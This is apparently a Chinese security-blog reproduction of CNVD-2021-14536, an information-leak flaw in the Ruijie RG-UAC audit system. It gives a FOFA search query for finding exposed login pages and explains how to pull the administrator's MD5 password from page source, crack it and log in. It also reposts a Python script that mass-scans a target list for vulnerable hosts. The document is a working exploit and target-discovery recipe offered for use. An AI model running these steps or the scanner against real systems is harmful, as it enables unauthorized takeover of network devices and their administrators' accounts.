CNVD-2021-14536 銳捷 RG-UAC 統一上網行為管理審計系統信息泄露漏洞

漏洞簡介

銳捷 RG-UAC 統一上網行為管理審計系統存在信息泄露，攻擊者通過網頁源代碼可間接獲取管理用戶賬號密碼，登錄管理后台。

漏洞復現

fofa搜索以下關鍵字

title="RG-UAC登錄頁面" && body="admin"

登錄界面如下所示：

Ctrl + U查看源代碼，搜索password獲取管理員賬號密碼：

somd5解密密碼

使用賬號密碼成功登錄管理平台：

漏洞POC

已有大佬編寫出POC腳本，這里搬運一下

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: 銳捷RG-UAC統一上網行為管理審計系統                             \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mFile         >>> ip.txt                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "super_admin" in response.text and "password" in response.text and response.status_code == 200:
            print("\033[32m[o] 目標 {}存在漏洞 ,F12查看源碼獲取密碼md5值 \033[0m".format(target_url))
        else:
            print("\033[31m[x] 目標 {}不存在漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目標 {}不存在漏洞 \033[0m".format(target_url))

def Scan(file_name):
    with open(file_name, "r", encoding='utf8') as scan_url:
        for url in scan_url:
            if url[:4] != "http":
                url = "http://" + url
            url = url.strip('\n')
            try:
                POC_1(url)

            except Exception as e:
                print("\033[31m[x] 請求報錯 \033[0m".format(e))
                continue

if __name__ == '__main__':
    title()
    file_name  = str(input("\033[35mPlease input Attack File\nFile >>> \033[0m"))
    Scan(file_name)

POC運行結果截圖